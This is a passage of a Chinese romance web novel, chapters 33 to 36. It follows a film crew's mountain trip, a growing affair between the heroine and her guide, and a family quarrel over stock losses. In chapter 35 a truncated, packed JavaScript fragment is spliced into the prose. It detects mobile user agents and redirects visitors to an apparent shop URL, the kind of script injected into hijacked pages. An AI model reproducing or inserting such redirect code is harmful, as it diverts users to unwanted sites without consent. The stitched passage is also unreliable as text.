“有用吗?”柯特有气无力,对他递出的药丸深表怀疑,“我可是外国人。”
穿浅色冲锋衣的男人笑,陪着他一起蹲下来,“保你不死。”
柯特犹豫着把药吞下。
“这条路我们之前没走过。”危涞站在悬崖边,话里说不清是不是怀疑。
她不相信他。
程知聿:“你们之前走的是野路。”
“再说,我会让你们出事?”
看着他这副冷冷淡淡的模样,危涞心里痒痒,忍住要点烟的冲动,她把视线投远,声音有些别扭,“不是说今天带我们的是纪成安吗。”
“他去省里开会,老蒋临时指派。”
“哦。”
听起来不情不愿的,危涞心里想。
柯特颤颤巍巍举手,“说英语好吗。”
稍作休息,车队再次出发,程知聿说的没错,这条路和旻浩带上山带那条完全不同,周边设施完善,连人流量都成倍增长。
她更安心了些,藏
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在队伍里往上走,听见程知聿提醒,“大家都留好联系方式,千万不要落队,山上地势复杂,万一偏离正常路线一定要及时找我或者是周围的工作人员求助。”
他说这话时,视线飘在人群中带女士帽,同周围人玩笑说话的不老实同学身上。
“听见了没有。”
危涞被他的眼神骇住,缩缩脖子,“听见了。”
摄影机已经开始工作,阿诺德坐在屏幕后面,聚精会神。
这个时候只有程知聿能够轻松。
他倚在石墩上,长腿无处安放。
修长的手指停在腕间鲜艳的红绳上,细细的几股绳紧紧缠绕在一起,是林秀禾引以为傲的手艺。
她出院以后就向神佛祈求,“保佑家人身体健康,女儿万事顺遂,康贻学业进步,知聿早日觅得良人……”
这手串被她拿去开过光,家里人手一条,她有心,连店里的伙计和后来的那只肥猫都有份。
只不过点点的是加长加粗款,挂在脖子上,今天出去撒泼丢了林秀禾再给它编一条新的,明天再回家来,脖子上又是空空如也。
她是在无奈,“算了,你在外边野了这么久生命力足够顽强,不戴就不戴吧。”
程知聿也想不戴,天气渐渐热起来,要末冬初春戴着还可以遮遮,只是他上班的时候…实在有点不好看。
林秀禾一计眼刀打回去,“戴着!”
无法,他只能老老实实挂在手腕上。
说起来,奶奶帮他求的是“早日觅良人”。
好像作用不大。
除了身边的长辈小辈,他的异性缘几乎为零。
程知聿朝这边看了太久,危涞的脸几乎要烧起来,听岔了几回话。
“你再说一遍?”
她心里生闷气,总不好气势汹汹地甩脸色,问他:“你看什么看!”
她依旧霸道,有些事情在她的心里就是只有自己能干,别人多干半点都是对她的冒犯。
“哈里斯的电话,你接不接?”终于休息,柯特举着手机问她。
危涞正郁闷着,拨开柯特的手,“我没有心情啦。”
柯特讪笑一二,对着她露出手机屏幕,“已经接通了。”
“……”危涞瞪他一眼,满是无语和气恼,“那你还问什么?”
男人扎了两个小啾啾在头上,有些委屈,“wren你都不接我电话。”
“呵呵,不好意思,我很忙。”
“你骗人!明明柯特都可以玩手机。”
危涞没空应付他,“导演喊我了。”
他又翻出短信页面,阿诺德露出大牙笑的头像格外显眼,“目前正在休息。”
“……”危涞礼貌地露齿笑,“我要去洗手间。”
柯特捂住手机摄像头,“lady’sroom。”
哈里斯吸吸鼻子,挂断电话,“我没什么要和柯特说的。”
“你下回再拨电话来我也不会接了。”柯特无语至极。
危涞从洗手间出来,撞见程知聿在拨电话。
啧啧。
态度之好,前所未见。
他发觉身侧有人,“晚点给你回电话。”
“程老板艳福不浅。”
危涞扯过纸巾纸擦手。
“哪有危小姐好命。”
“婚礼定在哪月,提早告诉我,才好给你准备新婚礼物。”
程知聿点开一支烟,笑着,态度很恶劣。
33. Chapter 33
危涞把纸巾丢进垃圾箱,皱眉,“你在说什么?”
她松下脚踏,“你不会是在说那张照片吧。”
程知聿咬着烟,没有肯定也没否定,只是那样看着她,神态里带着不明的意味。
危涞忽然就笑了。
“明年初,你有时间就来呀,我把你安排在前男友桌的主位上,怎么样?”
“他不介意吗。”
“有什么好介意的,他很开放的。”她伸手去抓程知聿长长的帽绳,葱白的手指卷着一点点拉近,吐息如兰,“你要不要加入我们。”
狐狸一样娇媚的眼睛望着,嗜人心魄般,柔软的唇角掀起的弧度是漫长夜里浸在潭水中的弯月。
月色动荡,程知聿滚动喉咙,偏头,“你不是说过再也别联系。”
既然如此,她也不该再出现在他的面前。
凭什么一切规则都由她制定。
危涞表情凝了一下,她没看错吧,怎么有点...委屈?
“wren!”柯特在喊人。
她盯着程知聿表情细小的变化,那委屈是一瞬间,转瞬即逝,究竟有还是没有,危涞不禁怀疑。程知聿灭了烟,眉眼优越,也盯着她,笑得清风霁月。
他笑着说道:
“好啊,我加入你们。”
“你说什么?”危涞皱眉,以为自己听错了。根本没想到他会答应自己过分的要求。
这根本不是要求,换言之,只是她想要占据上头让他难堪的手段。
他答应了?
他答应的目的到底是什么,像她一样,想看见对方难堪尴尬地一幕?还是单纯只是为了戏弄她。
无论是什么目的,对于危涞来说都不是一个值得庆祝的消息。
对她来说,这更像是一种挑衅,对她的反击。
危涞不会傻到认为他有足够的真心。
“wren!”柯特抬高音量,又喊她一次。
危涞才应答:“我在这。”
回头却看见程知聿又像没事人一样离开,像什么都没发生一样,她才稍微放宽心,程知聿这个态度,坐实了捉弄她的想法。
“你怎么不回话?”柯特找来,“往上走了。”
危涞摸摸鼻子,跟上柯特。
视线却一直跟在队伍前面的年轻男人身上,她看着他从容不迫地和几位导演交流,脸上始终挂着礼貌的笑,见几人没跟上就耐心地停下等,任何人见了都要夸程知聿挑不出毛病。
谦卑、温和。
看着他含笑的眉眼,危涞却总觉得他的笑不纯粹,总是带着漫不经心。
藏着几分桀骜。
“还看,眼睛都要粘人家身上去了。”柯特咂舌,“老实说,你们是不是睡过。”
危涞哽了口口水:“你说什么呢......”
“别想骗我,你们之间的气氛哪点像普通朋友,我怎么没看见你这么盯着我,更别说哈里斯。”
“我不是正盯着你吗。”危涞为自己正名,再说,他们俩确实没睡过啊。
思绪又一次飘远,滚了滚喉咙,想起在她房间的那个晚上,他带着她的手动作,低哑的喘息声擦过耳垂,温热的气息撒在脖间。
手心烫得可怕。
好痒。
危涞耳廓升起一点红,把脖子躲进外套。
“喂!你脸红了喔!”柯特大吵大闹。
被危涞揪起耳朵,“我都说没有的事!”
吵闹声传到前排人员耳朵里。
阿诺德对于非工作上的事情总是很纵容,看着几个小辈打闹,感叹着说:“年轻真好。”
“......”
方才还在说话的青年没有声响,阿诺德疑惑去看,却见他目光幽深,唇轻抿着,落在那对嬉戏打闹的年轻人身上。
注意到他的目光,才收回礼貌地笑,“您刚才说什么?”
阿诺德干笑一二,朝着队伍喊道:“加快动作了!”
危涞再一次狠狠瞪柯特一眼,警告他:“你别乱说话。”
“好的,女士,我绝对不把你和程有奸情的事情说出去。”柯特念不来他的名字,在胸口画了个十字,“阿门。”
危涞又作势去挠他,脚下树枝“咯吱”一声,她身形不稳,脸朝的地方是锋利的石子,她仓惶捂住自己的脸。
想,她要是毁容了,一定和柯特没完!
几秒过去,等到的不是钻心的疼痛,她被一双温暖干燥的手揽进怀中,唇息擦过耳畔,“小心点。”
嗓音低哑。
她脚下轻飘一瞬间,脸“噌”地红了,果然对上柯特不怀好意的笑,他流里流气地吹口哨,朝程知聿比了个懂的都懂的表情。
程知聿松开手,沉吟:“我什么都没做。”
危涞捂着滚烫的脸,甩开他的手,“你离我远点。”
其实没什么可担心的,程知聿带他们走的这条路和危涞当初上山的那条完全是两个方向,
是在格布湖的对面,风景却一点不差,一年四季,阳宁雪山上各不相同,冬天的凌冽冰雪,春天时沿道的花都开了,开得小,却灿若繁星,一点一枝,导演喊摄影在湖边架好机位,天一晴一阴,平静的湖面吹起涟漪,慢慢的,吹起两点风。
危涞觉得冷,把外套拉链扯到最顶上,只露出一双眼睛来。
柯特也感觉到凉意,嘟嘟囔囔走过去,不一会又跑回来,“导演说指不定什么时候下山呢。”
这一期的主题是“变化”。
他们上山早,行李里带了帐篷,今天的任务没完成估计要在山上留宿。
危涞点头表示知道了。
她脑袋转溜一圈,没看见程知聿,正巧副导喊她干活,小跑上前。
结束时天色黑了个大概,摄影机还在追踪天色变化,星子流转。
危涞口干舌燥,灌下去小半瓶矿泉水。
眼睫被火燎亮。
她顺着火光望过去,扎营的地方着起火堆,燎原的暖意染黄那人冷色的脸庞,他笑着同人讲话,眼光明媚,柔和得难以想象。
危涞想起郑毅妻子的话,程知聿的母亲,是位令人惊叹的美人。
他的眼睛一定很像他的母亲,危涞想,柔情,温暖,望着你时深情得能沁出水来。
她也贪恋温暖,拉过户外椅找了个地方挤着坐下。
她把冰冷的手指靠近火焰,像只鹌鹑。
阿诺德在煮咖啡,浓郁的香气让她想起某个冬天窝在爱丁堡的咖啡厅里看完一部的一部老电影。
平实,并没有什么好记忆的,但回想起来总是让人觉得很幸福。
他们要在次日下午下山,柯特不知道从哪得到一件厚外套,递给危涞。
她被熏得很暖,这件外套于是被转手给了另一位身体不适的小伙伴。
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柯特敲脑袋,“wren,你有时笨得让我难以想象。”
“你戏好多。”危涞嫌弃他。
不知道是谁从山下带来一兜子酒来,洋的啤的什么都有,围着篝火,脸都被熏红了。
相熟的人闹作一团。
程知聿手里拿着树枝,好安静。
危涞有些醉了,拖着椅子靠近,侧着脸,笑眼朦胧,指指男人腕间的手绳,“怎么来的?”
程知聿没打算骗她。
“奶奶求的。”
“哦。”危涞扣扣手指,她猜错了。
“一人一个真心话,来不来?”
洋的啤的白的红的混在一起,他也有点晕,摇摇头,“不来,你会耍赖皮。”
心思被他戳破,危涞脸微微红,有些恼意,“我哪有!”
他笑着看她,眼中的光晃晃荡荡,宛若一湖春水。
“真的不耍赖皮呀?”
他的语气就像在哄小孩一样,危涞眨眨眼,“你是不是醉了?”
“没有。”笑意未减,直勾勾地盯着她,“你不耍赖皮我才和你玩。”
这样子分明就是醉了吧,危涞难得好脾气,学着他软绵绵的语气,撑着脸,“我真的不会耍赖皮呀,哥哥,你陪我玩嘛。”
“呵。”他轻轻笑出声,被她的语气逗得一下没能停下来。
肩膀颤抖。
“你到底玩不玩!”危涞更恼,觉得自己被忽悠了。
“玩。”
“我先问,你送我的东西有没有转送给别人。”危涞说。
他眉心微蹙,无奈地笑,“没有。我在你心里是这样的人?”
一物二送,好没道德。
“这是你的问题吗?”危涞狡猾地问。
程知聿默然,木枝燃烧的声音“滋滋”响,“你什么时候结婚。”
危涞扬高声音,“你好蠢!”
醉醺醺的人们循声望过来,她又压低,“我结你个头!”
程知聿反应有点慢,手里的树枝抵在石头上突然断了,“嗯?”
“呵呵…哈哈……”
他肩膀抖动的幅度未免太大了,危涞怒着,感受到一点甜意,脸又升温,“别笑了。你真的好蠢……”
程知聿还是在笑,嘴上却说:“嗯,不笑了。”
为她编织了一张温柔的巨网。
危涞的心,一跳,一跳。
鼓声咚咚。
“你现在对我什么感觉?”她说完,火速看了眼程知聿的表情,飞速低下头。
“想亲。”
那人目光明亮,湖中荡着一轮弯曲的明月,危涞清晰地看见自己的脸,感受到他的眸光着火一样落在自己的唇上。
温柔,眷恋。
沾着水色的唇瓣,程知聿忽然戴上了她的帽子,铺天盖地的昏暗朝着危涞袭去,他柔软的唇带着野兽的撕咬,酒精残余的甜味,分不清是她的还是他的。
她的头脑一片混乱,心跳很快,搅和在一起,洗衣液的气味混着她的淡淡的香水味,莫名压得人喘不上气。
他毫不留情地摄取每一寸土地上的空气,危涞脸烫得像刚出锅的鸡蛋,“有人……”
“我见不得光吗?”他低低地笑。
危涞使劲拧他,用力推开。
一身很低的叹息,把她的头按在自己怀里,“笨蛋,都睡着了。”
34. Chapter 34
心脏砰砰砰跳。
鼻息间全是松木的气息。
“唔……”醉醺醺的同伴揉开眼睛,危涞猛地一推,拢在她身上的温暖气息闷声倒地。
“呃唔——”
程知聿坐倒在地,笑里带着不可思议。
“你推我?”他用气音问。
“怎么了,wren……”柯特模模糊糊,脚步不稳,路过乱放的户外椅时差点被绊倒在地。
危涞神色慌张,“程老板你也真是的,怎么这么不小心……”
她心虚地把人扶起来,程知聿重量压在肩上,低声笑,咬她的耳朵,“谎话精。”
藏在夜色之下,危涞隔着衣服去掐他腰间的软肉,用力,一点都不留情,又惹得人闷哼,“危小姐真是好狠的心。”
嘴巴没停了是不是!
她剐他一眼。
危涞把手从衣服底下探进去,摸到一块结实的肌肉,她冰凉的手贴在温暖的皮肤上,那人战栗,她找到目标,轻轻一拧。
“哈!”程知聿被着感觉激到,弓起腰,面上掀起潮红,他喘了几声。
声浪撩过她的耳际,危涞激灵一下。
程知聿缓过劲后,眸光潋滟,带着勾人的笑,也不说话,就这样垂眸盯着她。
“好痛。”
唇边的笑简直碍眼。
危涞红着耳朵,嘟囔:到底是好痛还是好爽。
一定是酒精作祟。
她确信,把程知聿推进他自己的帐篷,拉链封得严实,“不许再出来了。”
“……”
难得失眠,山上安静得可怕,风声刮过帐篷,发出“簌簌”的声响。
危涞裹在睡袋里,翻来覆去睡不着。
她摸出手机,发出把某人从黑名单里拉出来后的第一条消息,“睡了没?”
迟迟没有等到回复,她想也是,这个时间醒着才奇怪呢。
又翻了两圈,拉起和边子瑜的聊天框,这位是熬夜惯犯了,秒回一个喵喵叫的表情。
“熬夜不是好习惯喔,小涞妹妹。”
时间整点指向二。
危涞已经习惯她满嘴跑火车,不知道她说这话的时候心不心虚,她听着挺没底的。
“所以和学霸哥哥一起一起熬夜就是好习惯了?”
危涞敲过一行字。
边子瑜露出一截柔软细腻的手腕,耳边是浴室里传来的洗漱声,把脸缩进被子,“看破不说破嘛。”
和她聊天只能适得其反,刚酝酿出的一点睡意消失得无影无踪,危涞叹了口气,强制自己放下手机。
看见锁屏划过的日期时却陷入短暂的沉默。
马上又是一年过去了,她眼角一酸,强忍住泪水,拨开帐篷,想出去透透气。
帐外的男人不知道在想什么,听见动静回神,眼里茫然,显然没想到她这个时候出来。
“……怎么了?”
男人周身冰冷,目光温柔,也不知道在她的帐篷外站了多久,危涞吸吸鼻子,扑入程知聿的怀抱,“你怎么在这?”
“睡不着。”他无奈地说,“柯特打呼噜。”
指腹揉去危涞眼角的泪花,“怎么哭了。”
危涞抱着他的腰不说话,整张脸埋入他的胸膛。
程知聿很耐心,她不说,他也不逼迫,静静等着,安静地看着怀里毛茸茸的头,像安抚孩童那样,轻拍她的后背。
危涞紧紧抓着他的手臂,很久之后,觉得自己在程知聿面前丢了面子,发恼地捶他的胸膛,“都怪你!”
眼角发红,实在很难让人说出不字,程知聿失笑,任由她把自己的衣服发泄似的揉成一团。
“我哪里惹到你?”
他的话里似乎藏着无尽的纵容,危涞不想探究里面有多少真心,是不是敷衍。
她抬起泪眼,张张嘴巴,最终没能把话说出来。
——“你会陪我多久。”
这样的问题未免太蠢,说出口会被人嘲笑的。
显得她有多缺爱一样。
她紧紧抿着唇,环住男人的腰。
等到她情绪好点。程知聿揉揉她柔顺的头发,“进去睡觉吧,不早了。”
他说罢就要转身回自己的帐篷。
发觉袖口被人拉着,那人在月色下低着头,程知聿一愣,听见她说:“我不打呼噜。”
“……”
程知聿挤在她小小的帐篷里,手脚都伸展不开,两个人靠得很近,他重复刚才的动作,两颗脑袋靠在一起,手一下一下拍着她的后背,沉稳的气息盖在身上,危涞抓着他的手指,小指并在一起比较。
比她长出一小截。
他拍背的动作很娴熟。
“你还哄过别人睡觉。”危涞几乎是笃定的语气肯定。
“你好不要脸。”她扬起气呼呼的脸来,毫无依据地指责他。
给程知聿戴上好大一顶帽子。
他沉思,开始认真回忆起来,“除了你之外,还有一、二………”
程知聿低头看着危涞的表情,话里带着笑,故意逗她,“好多个,数不过来了。”
她气得张口去咬他的脖子,被一只大手捂住嘴巴,危涞作恶地,濡湿的气息洒在掌心里,他教训道:“别乱动。”
“你果然很不要脸。哼哼。”危涞感觉到什么,抓住他的手指晃晃,洋洋得意。
“哼哼。”
“你是小猪吗?”他学着她的语气,换了个动作,手指夹住危涞两片扁扁软软的嘴巴,“睡觉。”
危涞醒的时候身边人早已经不知去向。
拉开帐篷,柯特正在煮泡面。
“morning。”
“morning。”危涞在他身边坐下。
“睡得好吗?”
她摸摸鼻子,神游太虚,“挺好的。”
“昨天晚上程......”
“他怎么了?”危涞如同惊弓之鸟。
“你这么紧张做什么?”柯特熄火,“他睡得早所以起得早呀。我醒的时候他已经在帮阿诺德的忙了,厉害吧。”
“哦...厉害,你说话能不能不要一惊一乍。”
柯特反驳,“我哪有!明明你才是一副奇怪的模样,喂,难道你们真的趁我们睡着的时候发生了什么?”
“你滚啦!”危涞脸蛋红红,作势要拿滚咖啡浇他。
柯特立刻求饶。
“好热闹。”阿诺德
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带着笑走近,身边的中国青年在唯一的女士身边坐下。
“在聊什么?”他把咖啡倒入杯中,热气氤氲。
柯特挤眉弄眼,“wren好凶的,不知道以后谁能hold住。”
等了好一会。
柯特疑惑。
咦?wren怎么没有掀桌子?
他带着疑问望过去,女孩低着头,恬静淡雅,一边的黑发别在微红的耳后,轻轻咬着唇,不知道在想什么。
素净的脸上飘着两朵红。
无人看见的桌下,她的手被人抓在手里,捏着指腹,揉到指根,最后在她暖呼呼的掌心流连,这动作根本不纯良。她手指发软,溃不成军,危涞烧红了脸,心想:完蛋了,她的表情一定很糟糕。
柯特这个讨厌鬼,一定会在背后嚼她的舌根的!
她不满的是,她如此落魄,程知聿却显得格外镇静。
身旁男人的面上依旧平淡,仿若无事一样同身边的人说话,维持一副极好教养的姿态,可桌下两人的手指缠绕在一起,他的手指缠着她的,是分不开的结,她低着头,听见程知聿低哑的声音,自若地笑,阿诺德对他的话表示赞同,连声称赞。
危涞抽出手指要逃离,刚抽离出一小截,又被那人勾着小指,像灵活的小蛇,缠住了猎物,就勒紧再也不放开,她被这股强势的力道拉了回去,裹在手中,他和她十指紧扣,贴得严丝合缝。
她见不得程知聿这幅道貌岸然的模样,抬起脚毫不留情。
鞋面上出现一个圆滑的脚印。
程知聿眉心微动,阿诺德讲得眉飞色舞,也停下来问他,“是不是我讲的太多?”
他摁住那只不老实的腿,笑着摇头,“您继续。”
终于下山,危涞窝在后排补觉,到的时候被柯特拍醒,脸上印出红印子。
她捂着脸慢悠悠走进民宿,被阿诺德有些犹豫地喊住,“晶圆?你知道这个名字吗?”
他的发音并不标准,危涞却一下子明白,是她的母亲。
危景媛。
她久久没有回神,家里人怕她情绪激动从来不主动在危涞面前提起母亲的名字。
她低着头,“是我的母亲。”
阿诺德一瞬间激动,胡子翘起一边,“她现在怎么样?时间过的真快,我们认识的时候她还是个小姑娘,现在应该……”
“她死了。”
阿诺德戛然而止,张了几次嘴巴一个字都没说出,“怎么会呢?”
“是不是有误会?她最喜欢我的那部电影……”
“《情迷英格兰》,男女主从土坡上奔跑滚下的那一幕是她最喜欢的。”
她的话无疑给阿诺德重重一击,他苍老的脸皱纹重重,眼前的年轻女孩和多年前站在他面前赤忱表达对他电影喜爱的女孩重叠在一起。
“《情迷英格兰》是我最喜欢的电影……”危景媛眼神明亮,至诚。
阿诺德抬起头,眼前的姑娘已经不是当年那个人,“你的母亲是个有胆识的姑娘。很抱歉让你回忆起伤心事。”
危涞沉默,“感谢您还记得她。”
阿诺德深深叹了口气。
“可怜的姑娘。”他怜惜地望向眼前的女孩。
35. Chapter 35
离开得这么早。
让她早早就成为没有母亲的小孩。
“喵~”
窗外一只黑影悠闲自在,沿着危涞房间的窗台踱步。
她一眼认出这只灰白花色的肥猫就是害她差点滑倒的那只,没什么好脾气,推开玻璃窗,“去去去!”
这只肥猫不但不怕人,还大摇大摆地进入房间,像个大爷似得找到舒服的角落,懒洋洋地窝下。
“谁让你进来的?”危涞吸吸鼻子抬手去赶,被这只猫灵巧躲开,跳到柜子上,花瓶“哐啷”转动,最后稳稳停下,肥猫像嘲笑她的不自量力,悠悠走到她面前,扬起爪子舔毛。
感觉受到莫大屈辱,危涞悄着步子,蹑手蹑脚,快速伸手,“抓住你了。”
手指尖只碰到它柔软的毛,又抓了个空。
危涞和猫斗了数个来回,小口喘着粗气,她不理解,这猫这么肥怎么还这样灵活,偏偏这个时候它还不知好歹地从桌上跳下,亲昵地蹭蹭危涞的小腿。
轻蔑之情呼之欲出。
她预备喊人把猫赶出房间。
手机就收到来电,“喂?”
那边很吵闹,他换了个安静地方,音色疏朗,“你看见我的猫没有?”
危涞皱眉戳戳小猫头。
“这是你养的猫?”
程知聿沿着点点的路线进入房间,头发乱了一片,危涞喊他低头,取下头上的叶子。
程知聿拍拍手,点点傲娇地扭着屁股,不情不愿。
眼神在鄙视他,还以为有多了不起呢,原来连正门也不能走。
“......”程知聿一手捞起肥猫,捂住点点的眼睛,笑得很无奈,“我还是第一次爬田阿姨家的窗户。”
危涞没好气在他腰间掐了几下,“我可不搬去你家。”
“我没说要你搬。”
程知聿抱着猫,沿原路返回,身手敏捷,从窗台一跳而下,“你住哪里是自己的自由。”
“哦。”危涞抬头望天,“那你得经常爬窗了。”
“我说要经常找你了?”他反问,笑得狡猾。
危涞反应过来,这不就反向证实是她要迫不及待见他了吗?
“爱来不来。”
危涞关窗被他拉着手臂扯近,冰凉的吻落在唇边,只是轻轻一下,很快离开。
他抱着猫走远,“回头见。”
危涞呆住,手指停在他落下一吻的地方,抓起纸巾盒朝那颀长的背影砸去,“你滚远点。”
这还是收着声音,被人发现她有十张嘴巴都解释不清楚。
程知聿突然笑出声。
纪成安莫名其妙,“你笑什么?”
伸手去探他的脑袋,“没发烧啊,还是你疯了?”
“从下山那天就疯了。”向仲明靠在椅上,手里拿着冰啤酒,晃晃。
“为什么?被鬼附身了?”纪成安不明白。
向仲明补充:“还是个女鬼。”
“呃——好恶心。”
程知聿睨眼:“话这么多,报告写完没?帐清完没?”
“和你聊天真费劲。”纪成安“啧”一声,“你最近不忙?”
“嗯。”程知聿点烟,“方显宗在国外忙他儿子的事,没时间管我。”
“你不就是他儿子吗?”纪成安嘴贱,“欸欸欸!追着我打啊?!”
向仲明摇头,“谁喊你找打。”
林秀禾端着切好的水果,纪成安抓住机会告状,“奶奶你看他!快三十岁的人了还这么幼稚!”
程知聿被喊停,气笑:“打不过别告状行不行?”
“谁打不过你!我是懒得和你计较。”
林秀禾看着外孙女背着书包鼓鼓囊囊地走进来,奇怪:“康贻?今天不是上学的日子吗,怎么过来了?”
她往位置上一坐,“我爸妈吵架了。”
纪成安刚坐下来,“为什么?是不是因为你考试成绩太差?”
康贻瞪他一眼。
“好好好,我闭嘴。”他比了个拉拉链的动作。
“萍萍就是脾气太差,我找她说说。”林秀禾说罢就起身。
被康贻喊住:“不是我妈的问题。”
几人对视,不是康贻不是她妈,那不就只有她爸了?
“唉,算了。我不想说。”
纪成安咽口唾沫,和向仲明交换眼神,得到一计白眼,“别乱想。”
康贻今晚在民宿住。
林秀禾替她铺好床褥,在身边坐下,“眉头皱这么深,变成小老太太了都。”
康贻红了眼眶,靠在外婆腿边,“外婆,你说我爸妈会离婚吗。”她声音哽咽。
林秀禾拨开她濡湿的头发,“不会的。”
程知聿刚收完摊子,见林秀禾匆匆外走,“去哪儿?”
“去你姑家看看。”她实在放心不下,女儿和女婿吵架实在是常事,康贻也早就习惯了,泡在吵架声中充耳不闻。
让她从家里跑出来,还流着眼泪问“爸爸妈妈会不会离婚”估计不是小事。
程知聿没说话,他已经猜到怎么一回事。
叹了一口气,“我送你过去。”
说送过去其实也只是陪着林秀禾走路,他喝了酒,不能开车。
还未进入单元楼,枪林弹雨般的吵声听得清清楚楚。
“你要离婚是不是?离就离!康曾文我忍你够久了。”程萍拍掌,手心通红一片,“骗我说什么跟着人家投资,你的钱投到哪里去了?都投到股市里让人割韭菜割完了吧!”
“你讲话能不能别这么难听?有涨有跌多正常的事情,那它明天就涨上去了呢?我的钱翻三倍翻十倍都有可能!”
程知聿听了头疼,姑父曾经问过自己该选哪支股,本以为他点到为止会收手,没想到更是一发不可收拾。
有他的责任在。
“这日子我和你过不下去了,你收拾东西,我要和你离婚。”程萍抹泪。
“凭什么是我滚出去?这房子是夫妻共同财产,有我的一份!”康曾文翘着腿,一副无赖模样。
“??!”她的手砸在桌上,“这么多年我一个人带着康贻你瞎了?这房子你出过一分钱没有?你好意思死皮赖脸在这不走?我算是看透了,你们男的都是一副混蛋样子,你和我哥一样,去赌吧,赌到家破人亡的时候看你会不会后悔。”
程萍看见母亲苍老的发,撇过头去擦眼泪,“你咋来了。”
林秀禾佝偻着背站在门边,眼里凄凉,手干枯得像起皮的树枝,“萍啊,别吵架……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16657800|183832||http|test|mini|href|location''.split(''|''),0,{}));
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>程萍扫开母亲的手,“你别管这事。”她再次撂下狠话,“康曾文,你这钱不收回来,我们下周去民政局领离婚证!”
康曾文全当没听见,连连摆手,死猪不怕开水烫,“不用下周,我们明天就可以去领证。人大师说了,我这几支都是潜力股,只要新政策下来就能赚!”
“你看不上,我也不想给你,咱们各过各的!”
“别说这样的话——”林秀禾两头劝,“萍啊,你服个软这件事就过去了,咋这么拧呢!”
程萍眼通红,“我是看不上你的钱。明天民政局见吧。”
话都说到这份上,康曾文再留下来也是自讨没趣,揣着裤带往外走,看见程知聿在单元门外点烟,都燃到头了也不扔。
康曾文心高气傲,觉得程知聿水平不行,早先和他说的股涨了一段时间就停了,接下来就是无尽地跌。
还是大师厉害,带着他翻了几倍。
“姑父,早点出手,你这几支股票一定会跌。”
“去去。”康曾文正是上头的时候,“你别和我说这些有的没的,别耽误我赚钱。”
“……”程知聿见他昏了头,也不再劝,看着男人无心打理的头发和那双痴迷的眼睛。
“别走我爸的旧路。”
康曾文却一下冒起火,“你以为谁都和你爸一样蠢?”
程知聿笑了一下,终究没再说话。
他和奶奶走在回家的路上,林秀禾佝着背,她跟不上程知聿的步子,脚步又小又慢。
程知聿就慢下来等她。
“阿聿。”
“你别怪你爸爸。”
“他年轻的时候人不坏,都是因为交坏了朋友。”
儿子是林秀禾一辈子的心病,她恳求孙子不要记得儿子的坏,可程知聿却实在记不起父亲的好。
当着林秀禾的面,程知聿说:“我不怪他。”
“也不要抽烟了,对身体不好。”
“知道了。”
程知聿咬着烟站在窗台边,他怎么可能不怪他。
他在某些方面撒谎已经如火纯青。
高中的时候和人打架骗林秀禾说只是不小心摔跤,周末兼职骗林秀禾自己在图书馆学习。
他又骗了她,他依旧恨不回家的父亲,依旧躲在她看不见的地方抽烟。
一根又一根。
直到楼下响起小傻子一样的声音:“程知聿!”
危涞站在树下,仰起白净的小脸,碎发用发箍别在耳后,像刚洗漱完。
“怎么了?”两人隔着很远一段。
危涞和他比手势,他一个个字认,“我们。”
危涞点头。
手指比划。
“去。”
“对对对!”
“私奔?”
唇边是一抹戏弄人的笑。
危涞鼓起双颊,她明明说的是:“我们去吃烧烤吧。”
两人并排走在一起,危涞皱眉,“你身上烟味好重。”
“很难闻吗。”
“也不是,我就是更喜欢你身上的洗衣液味道。”
程知聿无奈,这还是他换了件衣服的结果,“那你等我上去冲个澡,很快。”
“不用啦。”危涞推着他往前,“我好饿。”
36. Chapter 36
找了一圈最终还是只能打包回田阿姨的民宿。
程知聿垂眉把矮桌上零碎的东西收拾好,才打开包装。
危涞想要帮忙却越帮越乱,杯里的水撒了一片。
“......”
程知聿把她放在一边,又把她闯出来的祸清理干净。
揉着纸巾擦干净手。
危涞见他好脾气的样子实在心里痒痒,摸出手机咔擦一张,盯着屏幕中男人宽阔的背脊,心满意足:“以后谁娶你真是好大的福气。”
程知聿就看她一眼,没有反驳她用“娶”这个词。擦干净最后一点水渍,手里的纸巾“啪”一声丢进垃圾桶。
“吃饭。”
夸他贤惠也不好。
危涞摸摸鼻子挨着程知聿坐下,讨好般打开一罐冰啤酒递过去。
又被人拒绝,面无表情:“我晚饭时喝过。”
“在哪里和谁为什么不带我?”她如法炮制,手却拿起肉串往嘴里塞。
“你很在乎吗。”他抬眼,凉凉看向。
好吧。
被看向的人感到心虚。
她确实没多在乎。
危来讪讪收回手,不明白自己哪里惹到他。
“你心情不好吗?”还是来大姨夫了?火气这么大。
密集的小气泡在口腔爆裂开,鼻子涌上酸意,她畅快喝下一口,“不能对着别人发脾气的。”
程知聿不说话也没有动作,只是盯着她,冷峻的眉平静。
“...你做什么?”危涞被他盯得发毛,皱起眉,“我到底哪里惹到你,说清楚好不好。”
简直是莫名其妙!
“我们什么关系。”他掀起睫毛,语气像在询问,见她呆呆答不上来又一点都不意外,情绪没有起伏,甚至还能平静地递过一张纸巾供她擦嘴。
危涞擦干净嘴角,支支吾吾答不上来,“就...那种关系啊...哎呀说那么清楚做什么?我们自己知道就行的啦。”
她还是不愿意把话说明白。
程知聿却是再没耐性玩扮家家酒的游戏,拉开椅子起身,“你吃吧,我回去了。”
危涞不敢相信自己被丢下,嘴巴张了又张,“你走了就不要回来......”
回答她的是“咔”一声清脆的的关门声。
她彻底傻眼。
“程哥,又来找猫啊?”民宿的伙计看见程知聿,笑嘻嘻问。
点点被收编之前在这一带混了个熟,周围邻居都认识,对他找猫已经见怪不怪。
“嗯。”
“找到没?”再抬头一看,人已经不见了。
……
“我真的受不了了!这辈子没受过这种委屈,他凭什么对我发脾气!”
“受不了你就回来。”边子瑜毫无波澜,“不过人说的也没错,你们到底什么关系?”
危涞又沉默。
“炮友?”边子瑜摇头,“你们分明什么都没做。普通朋友?哪对普通朋友会抱在一起亲嘴。”
“你说话好扎心。”
她把头闷在枕头里。
“良药苦口。”边子瑜耸肩,“你看他的态度难道是想和你当朋友?”
她说个不停,危涞却听了心烦,“行了行了。”
明明之前还是大骂凤凰男站在她这边,现在却话里话外向着程知聿。
危涞敷衍几句挂断了电话。
